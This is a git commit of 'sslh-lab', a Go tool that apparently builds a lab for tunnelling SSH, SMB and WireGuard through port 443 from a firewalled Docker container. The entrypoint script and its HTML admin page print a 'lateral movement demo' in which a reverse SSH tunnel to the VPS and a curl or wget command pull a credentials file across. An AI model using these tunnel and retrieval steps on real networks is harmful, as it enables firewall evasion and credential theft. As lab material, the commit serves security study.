Initial code commit

This commit is contained in:
Warezpeddler
2026-01-29 00:03:02 +00:00
commit 8f35bb7ec8
38 changed files with 6039 additions and 0 deletions

156
internal/config/config.go Normal file
View File

@@ -0,0 +1,156 @@
package config
import (
"errors"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/spf13/cobra"
"github.com/spf13/viper"
)
type Config struct {
HetznerAPIKey string
NamecheapAPIKey string
NamecheapUser string
Domain string
Region string
ServerType string
DeploymentID string
ConfigDir string
LetsEncryptEmail string
}
func LoadConfig(cmd *cobra.Command) (*Config, error) {
return LoadConfigWithValidation(cmd, true)
}
func LoadConfigWithValidation(cmd *cobra.Command, validate bool) (*Config, error) {
homeDir, err := os.UserHomeDir()
if err != nil {
return nil, fmt.Errorf("failed to get user home directory: %w", err)
}
configDir := filepath.Join(homeDir, ".sslh-lab")
configFile := filepath.Join(configDir, "config.yaml")
viper.SetConfigType("yaml")
viper.SetConfigFile(configFile)
viper.SetEnvPrefix("SSLH")
viper.AutomaticEnv()
viper.SetDefault("region", "nbg1")
viper.SetDefault("server_type", "cpx22")
viper.SetDefault("config_dir", configDir)
if err := viper.ReadInConfig(); err != nil {
var configFileNotFoundError viper.ConfigFileNotFoundError
var pathError *os.PathError
errMsg := strings.ToLower(err.Error())
if errors.As(err, &configFileNotFoundError) {
// Config file not found is OK - we'll use defaults/env vars/flags
} else if errors.As(err, &pathError) && os.IsNotExist(pathError) {
// File doesn't exist - this is OK
} else if os.IsNotExist(err) {
// Direct IsNotExist check
} else if strings.Contains(errMsg, "no such file") || strings.Contains(errMsg, "not found") {
// File not found error (handled as OK)
} else {
// Any other error is a real problem
return nil, fmt.Errorf("failed to read config file: %w", err)
}
}
config := &Config{
HetznerAPIKey: getStringValue(cmd, "hetzner-key", "HETZNER_KEY"),
NamecheapAPIKey: getStringValue(cmd, "namecheap-key", "NAMECHEAP_KEY"),
NamecheapUser: getStringValue(cmd, "namecheap-user", "NAMECHEAP_USER"),
Domain: getStringValue(cmd, "domain", "DOMAIN"),
Region: getStringValue(cmd, "region", "REGION"),
ServerType: getStringValue(cmd, "server-type", "SERVER_TYPE"),
ConfigDir: viper.GetString("config_dir"),
LetsEncryptEmail: getStringValue(cmd, "letsencrypt-email", "LETSENCRYPT_EMAIL"),
}
if validate {
if err := config.Validate(); err != nil {
return nil, fmt.Errorf("configuration validation failed: %w", err)
}
}
return config, nil
}
func getStringValue(cmd *cobra.Command, flagName, envKey string) string {
if cmd != nil {
if flagValue, err := cmd.Flags().GetString(flagName); err == nil && flagValue != "" {
return flagValue
}
}
if envValue := viper.GetString(envKey); envValue != "" {
return envValue
}
// For viper config file, convert hyphen to underscore (viper uses underscores)
viperKey := strings.ReplaceAll(flagName, "-", "_")
return viper.GetString(viperKey)
}
func (c *Config) Validate() error {
if c.HetznerAPIKey == "" {
return fmt.Errorf("hetzner API key is required (set via --hetzner-key, SSLH_HETZNER_KEY, or config file)")
}
if c.NamecheapAPIKey == "" {
return fmt.Errorf("namecheap API key is required (set via --namecheap-key, SSLH_NAMECHEAP_KEY, or config file)")
}
if c.NamecheapUser == "" {
return fmt.Errorf("namecheap username is required (set via --namecheap-user, SSLH_NAMECHEAP_USER, or config file)")
}
if c.Domain == "" {
return fmt.Errorf("domain is required (set via --domain, SSLH_DOMAIN, or config file)")
}
return nil
}
func (c *Config) ValidateForTeardown() error {
if c.HetznerAPIKey == "" {
return fmt.Errorf("hetzner API key is required (set via --hetzner-key, SSLH_HETZNER_KEY, or config file)")
}
if c.NamecheapAPIKey == "" {
return fmt.Errorf("namecheap API key is required (set via --namecheap-key, SSLH_NAMECHEAP_KEY, or config file)")
}
if c.NamecheapUser == "" {
return fmt.Errorf("namecheap username is required (set via --namecheap-user, SSLH_NAMECHEAP_USER, or config file)")
}
return nil
}
func (c *Config) GetDeploymentDir() string {
if c.DeploymentID == "" {
return ""
}
return filepath.Join(c.ConfigDir, "deployments", c.DeploymentID)
}
func (c *Config) EnsureConfigDir() error {
return os.MkdirAll(c.ConfigDir, 0755)
}
func (c *Config) EnsureDeploymentDir() error {
if c.DeploymentID == "" {
return fmt.Errorf("deployment ID not set")
}
return os.MkdirAll(c.GetDeploymentDir(), 0700)
}

View File

@@ -0,0 +1,35 @@
FROM ubuntu:22.04
# Prevent interactive prompts during package installation
ENV DEBIAN_FRONTEND=noninteractive
# Configure apt to be faster and more reliable
RUN echo 'Acquire::http::Timeout "30";' > /etc/apt/apt.conf.d/99timeout && \
echo 'Acquire::Retries "3";' >> /etc/apt/apt.conf.d/99timeout && \
echo 'Acquire::http::Pipeline-Depth "0";' >> /etc/apt/apt.conf.d/99timeout
# Update package lists and install packages in a single layer for better caching
# Use --no-install-recommends to reduce image size and installation time
# Group packages to optimize download
RUN apt-get update && \
apt-get install -y --no-install-recommends \
openssh-client \
wireguard-tools \
curl \
wget \
dnsutils \
iptables \
bash \
samba-client \
nginx-light \
iproute2 \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/* \
&& mkdir -p /var/log/nginx /var/www/html /etc/nginx/sites-available /etc/nginx/sites-enabled \
&& chown -R www-data:www-data /var/www/html /var/log/nginx 2>/dev/null || true
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
CMD ["/bin/bash"]

View File

@@ -0,0 +1,24 @@
services:
sslh-lab-client:
build:
context: .
dockerfile: Dockerfile
container_name: sslh-lab-client
network_mode: bridge
cap_add:
- NET_ADMIN
volumes:
- ./wireguard:/wireguard:ro
- ./keys:/keys:ro
- ./server-info.txt:/server-info.txt:ro
- ./secrets.txt:/secrets.txt:ro
stdin_open: true
tty: true
privileged: false
dns:
- 8.8.8.8
- 1.1.1.1
- 8.8.4.4
dns_search: []
dns_opt:
- use-vc

View File

@@ -0,0 +1,386 @@
#!/bin/sh
# Don't use set -e as we want to continue even if some commands fail
# Force use of public DNS servers to avoid Docker DNS cache issues
# Docker's DNS (192.168.65.7) may cache NXDOMAIN responses
# Using public DNS ensures fresh lookups
cat > /etc/resolv.conf <<EOF
nameserver 8.8.8.8
nameserver 1.1.1.1
nameserver 8.8.4.4
EOF
# Configure iptables to only allow TCP 443 and UDP 53 (DNS) outbound
# This simulates a restricted network environment (e.g., behind a VPN/firewall)
# Use REJECT instead of DROP so connections fail immediately
# TCP connections get tcp-reset, UDP gets icmp-port-unreachable
# Note: No INPUT rules needed - reverse SSH tunnel handles forwarding internally
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -p tcp -j REJECT --reject-with tcp-reset
iptables -A OUTPUT -p udp -j REJECT --reject-with icmp-port-unreachable
iptables -A OUTPUT -j REJECT --reject-with icmp-proto-unreachable
# Test DNS resolution to ensure it works
if ! nslookup google.com >/dev/null 2>&1; then
echo "Warning: DNS resolution test failed. DNS may not be working properly."
fi
# Clear DNS cache if nscd is available
if command -v nscd >/dev/null 2>&1; then
nscd -i hosts 2>/dev/null || true
nscd -i passwd 2>/dev/null || true
nscd -i group 2>/dev/null || true
fi
# Force DNS refresh by clearing any local DNS cache
# This ensures subdomain resolution works immediately
if [ -f /etc/nsswitch.conf ]; then
# Ensure hosts: files dns is set for proper DNS resolution
if ! grep -q "^hosts:.*dns" /etc/nsswitch.conf 2>/dev/null; then
sed -i 's/^hosts:.*/hosts: files dns/' /etc/nsswitch.conf 2>/dev/null || true
fi
fi
# Test DNS resolution for common domains to verify DNS is working
echo "Testing DNS resolution..."
if nslookup google.com >/dev/null 2>&1; then
echo "DNS resolution: OK (using 8.8.8.8, 1.1.1.1)"
else
echo "WARNING: DNS resolution test failed"
fi
# Function to start nginx HTTP server
start_http_server() {
if command -v nginx >/dev/null 2>&1; then
# Create web root directory
mkdir -p /var/www/html
# Create nginx configuration for port 8888
# Create sites-available directory if it doesn't exist
mkdir -p /etc/nginx/sites-available /etc/nginx/sites-enabled
# Create a minimal nginx config that works
# Use default_server to ensure it's used
cat > /etc/nginx/sites-available/lab-server <<'NGINX'
server {
listen 127.0.0.1:8888 default_server;
server_name localhost;
root /var/www/html;
index index.html;
access_log /var/log/nginx/lab-access.log;
error_log /var/log/nginx/lab-error.log;
# Ensure we can serve files
location / {
try_files $uri $uri/ =404;
}
# Serve secrets.txt as plain text
location /secrets.txt {
default_type text/plain;
try_files $uri =404;
}
}
NGINX
# Enable the site
ln -sf /etc/nginx/sites-available/lab-server /etc/nginx/sites-enabled/
rm -f /etc/nginx/sites-enabled/default
# Ensure nginx main config includes sites-enabled
# Ubuntu nginx-light should already have this, but verify and fix if needed
if ! grep -q "include.*sites-enabled" /etc/nginx/nginx.conf 2>/dev/null; then
# Backup original config
cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.bak 2>/dev/null || true
# Add include directive in http block
sed -i '/^[[:space:]]*http[[:space:]]*{/,/^[[:space:]]*}/ {
/^[[:space:]]*include[[:space:]]*\/etc\/nginx\/sites-enabled/! {
/^[[:space:]]*include[[:space:]]*mime.types/a\
include /etc/nginx/sites-enabled/*;
}
}' /etc/nginx/nginx.conf 2>/dev/null || \
sed -i '/include.*mime.types/a\ include /etc/nginx/sites-enabled/*;' /etc/nginx/nginx.conf 2>/dev/null || true
fi
# Create admin page
cat > /var/www/html/index.html <<'HTML'
<!DOCTYPE html>
<html>
<head>
<title>Lab Admin Panel</title>
<meta charset="utf-8">
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
margin: 0;
padding: 20px;
color: #333;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
border-radius: 10px;
padding: 30px;
box-shadow: 0 10px 30px rgba(0,0,0,0.3);
}
h1 {
color: #667eea;
border-bottom: 3px solid #764ba2;
padding-bottom: 10px;
}
.info-box {
background: #f5f5f5;
border-left: 4px solid #667eea;
padding: 15px;
margin: 20px 0;
border-radius: 5px;
}
.link {
display: inline-block;
margin: 10px 10px 10px 0;
padding: 10px 20px;
background: #667eea;
color: white;
text-decoration: none;
border-radius: 5px;
transition: background 0.3s;
}
.link:hover {
background: #764ba2;
}
code {
background: #f5f5f5;
padding: 2px 6px;
border-radius: 3px;
font-family: 'Courier New', monospace;
}
</style>
</head>
<body>
<div class="container">
<h1>Lab Admin Panel</h1>
<div class="info-box">
<h2>System Information</h2>
<p><strong>Server:</strong> SSLH Multiplex Lab - Client Container</p>
<p><strong>Access:</strong> Localhost only (via reverse SSH tunnel)</p>
<p><strong>Purpose:</strong> Lateral movement demonstration</p>
</div>
<div class="info-box">
<h2>Available Resources</h2>
<p>This server is accessible only through the reverse SSH tunnel established from the container.</p>
<a href="/secrets.txt" class="link">View Secrets File</a>
</div>
<div class="info-box">
<h2>Lateral Movement Demo</h2>
<p>This demonstrates accessing container resources from a compromised VPS:</p>
<ol>
<li>Establish reverse tunnel: <code>ssh -R 127.0.0.1:2222:127.0.0.1:8888 -o ExitOnForwardFailure=yes testuser@ssh.domain.com -p 443</code></li>
<li>From VPS, access: <code>curl http://localhost:2222/secrets.txt</code></li>
<li>Or browse: <code>curl http://localhost:2222/</code></li>
</ol>
</div>
</div>
</body>
</html>
HTML
# Copy secrets.txt to web root
if [ -f /secrets.txt ]; then
cp /secrets.txt /var/www/html/secrets.txt
else
echo "File not found - secrets.txt should be mounted" > /var/www/html/secrets.txt
fi
# Start nginx on port 8888
echo "Starting nginx on port 8888..."
# Create nginx log directory if it doesn't exist
mkdir -p /var/log/nginx
chown -R www-data:www-data /var/log/nginx 2>/dev/null || chown -R nginx:nginx /var/log/nginx 2>/dev/null || true
# Ensure nginx can write to log directory
chmod 755 /var/log/nginx 2>/dev/null || true
# Kill any existing nginx processes
pkill -9 nginx 2>/dev/null || true
sleep 1
# Test nginx configuration
nginx -t >/tmp/nginx-test.log 2>&1
TEST_RESULT=$?
if [ $TEST_RESULT -ne 0 ]; then
echo "ERROR: nginx configuration test failed"
cat /tmp/nginx-test.log
echo " Main config:"
cat /etc/nginx/nginx.conf | head -30
echo " Site config:"
cat /etc/nginx/sites-available/lab-server
return 1
fi
echo " Nginx configuration test passed"
# Start nginx as daemon
# Redirect stderr to capture any startup errors
nginx 2>/tmp/nginx-start-err.log || {
echo "ERROR: nginx failed to start (exit code: $?)"
cat /tmp/nginx-start-err.log 2>/dev/null || true
cat /var/log/nginx/error.log 2>/dev/null || true
return 1
}
# Wait for nginx to fully start and verify it's running
for i in 1 2 3 4 5; do
if pgrep -x nginx >/dev/null 2>&1; then
break
fi
if [ $i -eq 5 ]; then
echo "ERROR: nginx process not found after start attempts"
cat /tmp/nginx-start-err.log 2>/dev/null || true
cat /var/log/nginx/error.log 2>/dev/null || true
return 1
fi
sleep 1
done
echo " Nginx process started (PID: $(pgrep -x nginx | head -1))"
# Wait a bit more for nginx to fully initialize and bind to port
sleep 2
# Verify nginx master and worker processes
NGINX_COUNT=$(pgrep -x nginx | wc -l)
if [ "$NGINX_COUNT" -lt 2 ]; then
echo " WARNING: Only $NGINX_COUNT nginx process(es) found (expected at least 2: master + worker)"
fi
# Verify it's listening on port 8888
LISTENING=0
if command -v ss >/dev/null 2>&1; then
if ss -ln 2>/dev/null | grep -q ":8888"; then
LISTENING=1
fi
elif command -v netstat >/dev/null 2>&1; then
if netstat -ln 2>/dev/null | grep -q ":8888"; then
LISTENING=1
fi
fi
if [ "$LISTENING" -eq 1 ]; then
echo "HTTP server (nginx) started on 127.0.0.1:8888"
echo " Admin page: http://127.0.0.1:8888/"
echo " Secrets: http://127.0.0.1:8888/secrets.txt"
# Test that it actually responds with retries
if command -v curl >/dev/null 2>&1; then
RESPONDING=0
for i in 1 2 3; do
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 http://127.0.0.1:8888/ 2>/dev/null || echo "000")
if echo "$HTTP_CODE" | grep -qE "200|404"; then
RESPONDING=1
echo " Verified: Server responding correctly (HTTP $HTTP_CODE)"
break
fi
sleep 1
done
if [ "$RESPONDING" -eq 0 ]; then
echo " WARNING: Server listening but not responding to HTTP requests"
echo " Test: curl -v http://127.0.0.1:8888/"
fi
fi
return 0
else
echo "WARNING: nginx is running but not listening on port 8888"
echo " Process status:"
pgrep -a nginx || true
echo " Listening ports:"
(ss -ln 2>/dev/null || netstat -ln 2>/dev/null) | grep -E "(8888|LISTEN)" || true
echo " Error log:"
tail -30 /var/log/nginx/error.log 2>/dev/null || cat /tmp/nginx.log 2>/dev/null || true
return 1
fi
else
echo "ERROR: nginx not available"
return 1
fi
}
# Start lightweight HTTP server on localhost:8888
# This serves a demo admin page and secrets.txt via reverse tunnel
# Only accessible through reverse SSH tunnel (doesn't bypass network restrictions)
# Ensure secrets.txt exists
if [ ! -f /secrets.txt ]; then
echo "WARNING: /secrets.txt not found, creating placeholder"
echo "File not found - secrets.txt should be mounted" > /secrets.txt
fi
# Start the HTTP server (nginx)
echo "Starting HTTP server (nginx)..."
if start_http_server; then
echo "HTTP server ready for reverse tunnel access"
else
echo "ERROR: Failed to start HTTP server"
echo " Check logs: cat /var/log/nginx/error.log"
echo " Check nginx config: nginx -t"
echo " Check if port is in use: ss -ln | grep 8888"
fi
# Display connection examples
cat <<EOF
SSLH Multiplex Lab - Client Container
======================================
This container has restricted network access:
- Only TCP port 443 (outbound) is allowed - for SSLH multiplexed services
- Only UDP port 53 (outbound) is allowed - for DNS queries
- All other outbound traffic is blocked (simulating VPN/firewall restrictions)
Example connections:
- SSH: ssh -i /keys/id_ed25519 user@ssh.chaosengineering.cc -p 443
- HTTPS: curl https://chaosengineering.cc
- SMB: smbclient //smb.chaosengineering.cc/share -p 443 -U user
- SMB (list shares): smbclient -L //smb.chaosengineering.cc -p 443 -U user
- SMB (connect): smbclient //smb.chaosengineering.cc/share -p 443 -U user%password
Troubleshooting DNS:
- If DNS resolution fails, use the server IP address directly
- Server information is available in: /server-info.txt
- Test DNS: nslookup google.com
- Check DNS config: cat /etc/resolv.conf
Example with IP (if DNS fails):
cat /server-info.txt
ssh testuser@<server-ip> -p 443
WireGuard configs are available in /wireguard/
SSH keys are available in /keys/
Domain admin credentials are available in /secrets.txt
Lateral Movement Demo:
- Establish SSH reverse shell to VPS:
ssh -R 127.0.0.1:2222:127.0.0.1:8888 -o ExitOnForwardFailure=yes testuser@ssh.chaosengineering.cc -p 443
- Keep that SSH session open (the tunnel stays active while connected)
- From the VPS shell:
* View admin page: curl http://127.0.0.1:2222/ (or http://localhost:2222/)
* Retrieve secrets: curl http://127.0.0.1:2222/secrets.txt > /tmp/secrets.txt
* Or: wget http://127.0.0.1:2222/secrets.txt -O /tmp/secrets.txt
- The HTTP server listens on 127.0.0.1:8888 and is only accessible via reverse tunnel
- This demonstrates lateral movement: accessing container resources from compromised VPS
- Note: The reverse tunnel must stay active (keep SSH session open)
Troubleshooting:
- Verify server is running: ps aux | grep nginx
- Check if listening: ss -ln | grep 8888 (or: netstat -ln | grep 8888)
- Test from container: curl http://127.0.0.1:8888/ or curl http://127.0.0.1:8888/secrets.txt
- Check server logs: cat /var/log/nginx/error.log
- Check nginx config: nginx -t
- Verify reverse tunnel: On VPS, check if port 2222 is listening: ss -ln | grep 2222
- If tunnel fails: Check VPS SSH config allows GatewayPorts (default: no, but localhost binding should work)
- Alternative syntax (if above fails): ssh -R 2222:127.0.0.1:8888 testuser@ssh.chaosengineering.cc -p 443
- Debug tunnel: Add -v flag to SSH: ssh -v -R 127.0.0.1:2222:127.0.0.1:8888 testuser@ssh.chaosengineering.cc -p 443
EOF
exec "$@"

166
internal/docker/manager.go Normal file
View File

@@ -0,0 +1,166 @@
package docker
import (
"fmt"
"os"
"os/exec"
"path/filepath"
)
type Manager struct {
ClientDir string
}
func NewManager(clientDir string) *Manager {
return &Manager{
ClientDir: clientDir,
}
}
func getComposeCommand() ([]string, error) {
// Try docker compose (v2) first
cmd := exec.Command("docker", "compose", "version")
if err := cmd.Run(); err == nil {
return []string{"docker", "compose"}, nil
}
// Fall back to docker-compose (v1)
cmd = exec.Command("docker-compose", "--version")
if err := cmd.Run(); err == nil {
return []string{"docker-compose"}, nil
}
return nil, fmt.Errorf("neither 'docker compose' nor 'docker-compose' is available. Please install Docker Compose")
}
func (m *Manager) Build() error {
dockerfilePath := filepath.Join(m.ClientDir, "Dockerfile")
if _, err := os.Stat(dockerfilePath); os.IsNotExist(err) {
return fmt.Errorf("Dockerfile not found at %s", dockerfilePath)
}
// Use docker-compose build to ensure it respects docker-compose.yml configuration
// and rebuilds when Dockerfile changes
composeCmd, err := getComposeCommand()
if err != nil {
// Fallback to docker build if compose is not available
cmd := exec.Command("docker", "build", "--no-cache", "-t", "sslh-lab-client", m.ClientDir)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return fmt.Errorf("failed to build Docker image: %w", err)
}
return nil
}
// Use docker-compose build which will rebuild if Dockerfile changed
args := append(composeCmd, "-f", filepath.Join(m.ClientDir, "docker-compose.yml"), "build", "--no-cache")
cmd := exec.Command(args[0], args[1:]...)
cmd.Dir = m.ClientDir
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return fmt.Errorf("failed to build Docker image: %w", err)
}
return nil
}
func (m *Manager) Run() error {
composeFile := filepath.Join(m.ClientDir, "docker-compose.yml")
if _, err := os.Stat(composeFile); os.IsNotExist(err) {
return fmt.Errorf("docker-compose.yml not found at %s", composeFile)
}
composeCmd, err := getComposeCommand()
if err != nil {
return err
}
args := append(composeCmd, "-f", composeFile, "up", "-d")
cmd := exec.Command(args[0], args[1:]...)
cmd.Dir = m.ClientDir
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return fmt.Errorf("failed to run Docker container: %w", err)
}
return nil
}
func (m *Manager) Stop() error {
composeFile := filepath.Join(m.ClientDir, "docker-compose.yml")
if _, err := os.Stat(composeFile); os.IsNotExist(err) {
return fmt.Errorf("docker-compose.yml not found at %s", composeFile)
}
composeCmd, err := getComposeCommand()
if err != nil {
return err
}
args := append(composeCmd, "-f", composeFile, "down")
cmd := exec.Command(args[0], args[1:]...)
cmd.Dir = m.ClientDir
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return fmt.Errorf("failed to stop Docker container: %w", err)
}
return nil
}
func (m *Manager) Status() (string, error) {
cmd := exec.Command("docker", "ps", "--filter", "name=sslh-lab-client", "--format", "{{.Status}}")
output, err := cmd.Output()
if err != nil {
return "", fmt.Errorf("failed to check container status: %w", err)
}
return string(output), nil
}
func (m *Manager) IsRunning() bool {
cmd := exec.Command("docker", "ps", "--filter", "name=sslh-lab-client", "--format", "{{.Names}}")
output, err := cmd.Output()
if err != nil {
return false
}
return len(output) > 0 && string(output) == "sslh-lab-client\n"
}
func (m *Manager) Connect(shell string) error {
if !m.IsRunning() {
return fmt.Errorf("container is not running. Start it first with 'sslh-lab client'")
}
cmd := exec.Command("docker", "exec", "-it", "sslh-lab-client", shell)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
err := cmd.Run()
// Exit code 255 is common when user exits normally (Ctrl+D or 'exit' command)
// Exit code 130 is common when user presses Ctrl+C
// These are not errors, just normal ways to disconnect
if exitError, ok := err.(*exec.ExitError); ok {
exitCode := exitError.ExitCode()
if exitCode == 255 || exitCode == 130 || exitCode == 0 {
return nil
}
}
// If err is nil (exit code 0), return nil
if err == nil {
return nil
}
// For other errors, return them
return err
}

View File

@@ -0,0 +1,172 @@
package hetzner
import (
"fmt"
"time"
"github.com/go-resty/resty/v2"
)
const (
hetznerAPIBaseURL = "https://api.hetzner.cloud/v1"
)
type Client struct {
apiKey string
resty *resty.Client
}
type Server struct {
ID int `json:"id"`
Name string `json:"name"`
Status string `json:"status"`
PublicNet PublicNet `json:"public_net"`
}
type PublicNet struct {
IPv4 IPv4Info `json:"ipv4"`
}
type IPv4Info struct {
IP string `json:"ip"`
}
type ServerResponse struct {
Server Server `json:"server"`
}
type ServersResponse struct {
Servers []Server `json:"servers"`
}
type CreateServerRequest struct {
Name string `json:"name"`
ServerType string `json:"server_type"`
Image string `json:"image"`
Location string `json:"location,omitempty"`
SSHKeys []int `json:"ssh_keys,omitempty"`
UserData string `json:"user_data,omitempty"`
Networks []int `json:"networks,omitempty"`
Labels map[string]string `json:"labels,omitempty"`
}
func NewClient(apiKey string) *Client {
client := resty.New()
client.SetBaseURL(hetznerAPIBaseURL)
client.SetHeader("Authorization", fmt.Sprintf("Bearer %s", apiKey))
client.SetTimeout(30 * time.Second)
return &Client{
apiKey: apiKey,
resty: client,
}
}
func (c *Client) CreateServer(req CreateServerRequest) (*Server, error) {
var resp ServerResponse
httpResp, err := c.resty.R().
SetBody(req).
SetResult(&resp).
Post("/servers")
if err != nil {
return nil, fmt.Errorf("failed to create server: %w", err)
}
if httpResp.IsError() {
return nil, fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
}
return &resp.Server, nil
}
func (c *Client) GetServer(serverID int) (*Server, error) {
var resp ServerResponse
httpResp, err := c.resty.R().
SetResult(&resp).
Get(fmt.Sprintf("/servers/%d", serverID))
if err != nil {
return nil, fmt.Errorf("failed to get server: %w", err)
}
if httpResp.IsError() {
return nil, fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
}
return &resp.Server, nil
}
func (c *Client) DeleteServer(serverID int) error {
httpResp, err := c.resty.R().
Delete(fmt.Sprintf("/servers/%d", serverID))
if err != nil {
return fmt.Errorf("failed to delete server: %w", err)
}
if httpResp.IsError() {
return fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
}
return nil
}
func (c *Client) WaitForServerReady(serverID int, timeout time.Duration) error {
deadline := time.Now().Add(timeout)
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
for {
select {
case <-ticker.C:
server, err := c.GetServer(serverID)
if err != nil {
return fmt.Errorf("failed to check server status: %w", err)
}
if server.Status == "running" {
return nil
}
if time.Now().After(deadline) {
return fmt.Errorf("timeout waiting for server to be ready (current status: %s)", server.Status)
}
case <-time.After(timeout):
return fmt.Errorf("timeout waiting for server to be ready")
}
}
}
func (c *Client) GetServerIP(serverID int) (string, error) {
server, err := c.GetServer(serverID)
if err != nil {
return "", err
}
if server.PublicNet.IPv4.IP == "" {
return "", fmt.Errorf("server has no public IP address")
}
return server.PublicNet.IPv4.IP, nil
}
func (c *Client) ListServers() ([]Server, error) {
var resp ServersResponse
httpResp, err := c.resty.R().
SetResult(&resp).
Get("/servers")
if err != nil {
return nil, fmt.Errorf("failed to list servers: %w", err)
}
if httpResp.IsError() {
return nil, fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
}
return resp.Servers, nil
}

View File

@@ -0,0 +1,76 @@
package hetzner
import (
"fmt"
"time"
)
type ServerInfo struct {
ID int
Name string
Status string
PublicIP string
Region string
Type string
}
func (c *Client) CreateServerWithConfig(name, serverType, location, image, userData string, sshKeyIDs []int) (*ServerInfo, error) {
if location == "" {
return nil, fmt.Errorf("location is required")
}
validLocations := map[string]bool{
"fsn1": true, // Falkenstein, Germany
"nbg1": true, // Nuremberg, Germany
"hel1": true, // Helsinki, Finland
"ash": true, // Ashburn, Virginia
"hil": true, // Hillsboro, Oregon
"sin": true, // Singapore
}
if !validLocations[location] {
return nil, fmt.Errorf("invalid location: %s (valid locations: fsn1, nbg1, hel1, ash, hil, sin)", location)
}
req := CreateServerRequest{
Name: name,
ServerType: serverType,
Image: image,
Location: location,
UserData: userData,
SSHKeys: sshKeyIDs,
Labels: map[string]string{
"managed-by": "sslh-lab",
"created-at": time.Now().Format("2006-01-02T15-04-05"),
},
}
server, err := c.CreateServer(req)
if err != nil {
return nil, fmt.Errorf("failed to create server: %w", err)
}
serverInfo := &ServerInfo{
ID: server.ID,
Name: server.Name,
Status: server.Status,
Region: location,
Type: serverType,
}
if server.PublicNet.IPv4.IP != "" {
serverInfo.PublicIP = server.PublicNet.IPv4.IP
} else {
if err := c.WaitForServerReady(server.ID, 10*time.Minute); err != nil {
return nil, fmt.Errorf("server created but failed to become ready: %w", err)
}
ip, err := c.GetServerIP(server.ID)
if err != nil {
return nil, fmt.Errorf("failed to get server IP: %w", err)
}
serverInfo.PublicIP = ip
}
return serverInfo, nil
}

View File

@@ -0,0 +1,107 @@
package hetzner
import (
"fmt"
)
type SSHKey struct {
ID int `json:"id"`
Name string `json:"name"`
Fingerprint string `json:"fingerprint"`
PublicKey string `json:"public_key"`
Labels map[string]string `json:"labels,omitempty"`
}
type SSHKeyResponse struct {
SSHKey SSHKey `json:"ssh_key"`
}
type SSHKeysResponse struct {
SSHKeys []SSHKey `json:"ssh_keys"`
}
type CreateSSHKeyRequest struct {
Name string `json:"name"`
PublicKey string `json:"public_key"`
Labels map[string]string `json:"labels,omitempty"`
}
func (c *Client) CreateSSHKey(name, publicKey string) (*SSHKey, error) {
req := CreateSSHKeyRequest{
Name: name,
PublicKey: publicKey,
Labels: map[string]string{
"managed-by": "sslh-lab",
},
}
var resp SSHKeyResponse
httpResp, err := c.resty.R().
SetBody(req).
SetResult(&resp).
Post("/ssh_keys")
if err != nil {
return nil, fmt.Errorf("failed to create SSH key: %w", err)
}
if httpResp.IsError() {
return nil, fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
}
return &resp.SSHKey, nil
}
func (c *Client) GetSSHKeyByName(name string) (*SSHKey, error) {
var resp SSHKeysResponse
httpResp, err := c.resty.R().
SetResult(&resp).
Get("/ssh_keys")
if err != nil {
return nil, fmt.Errorf("failed to list SSH keys: %w", err)
}
if httpResp.IsError() {
return nil, fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
}
for _, key := range resp.SSHKeys {
if key.Name == name {
return &key, nil
}
}
return nil, fmt.Errorf("SSH key with name '%s' not found", name)
}
func (c *Client) GetOrCreateSSHKey(name, publicKey string) (int, error) {
existingKey, err := c.GetSSHKeyByName(name)
if err == nil {
return existingKey.ID, nil
}
newKey, err := c.CreateSSHKey(name, publicKey)
if err != nil {
return 0, fmt.Errorf("failed to create SSH key: %w", err)
}
return newKey.ID, nil
}
func (c *Client) DeleteSSHKey(keyID int) error {
httpResp, err := c.resty.R().
Delete(fmt.Sprintf("/ssh_keys/%d", keyID))
if err != nil {
return fmt.Errorf("failed to delete SSH key: %w", err)
}
if httpResp.IsError() {
return fmt.Errorf("API error: %s - %s", httpResp.Status(), string(httpResp.Body()))
}
return nil
}

View File

@@ -0,0 +1,216 @@
package letsencrypt
import (
"crypto"
"crypto/rand"
"crypto/rsa"
"crypto/x509"
"encoding/json"
"encoding/pem"
"fmt"
"os"
"path/filepath"
"time"
"github.com/go-acme/lego/v4/certificate"
"github.com/go-acme/lego/v4/certcrypto"
"github.com/go-acme/lego/v4/lego"
"github.com/go-acme/lego/v4/registration"
)
type Client struct {
user *User
client *lego.Client
certDir string
email string
dnsProvider DNSProvider
}
type User struct {
Email string
Registration *registration.Resource
key crypto.PrivateKey
}
func (u *User) GetEmail() string {
return u.Email
}
func (u *User) GetRegistration() *registration.Resource {
return u.Registration
}
func (u *User) GetPrivateKey() crypto.PrivateKey {
return u.key
}
type DNSProvider interface {
Present(domain, token, keyAuth string) error
CleanUp(domain, token, keyAuth string) error
}
type CertificateInfo struct {
CertificatePath string
PrivateKeyPath string
FullChainPath string
Domain string
ExpiresAt time.Time
}
func NewClient(email, certDir string, dnsProvider DNSProvider) (*Client, error) {
if err := os.MkdirAll(certDir, 0700); err != nil {
return nil, fmt.Errorf("failed to create cert directory: %w", err)
}
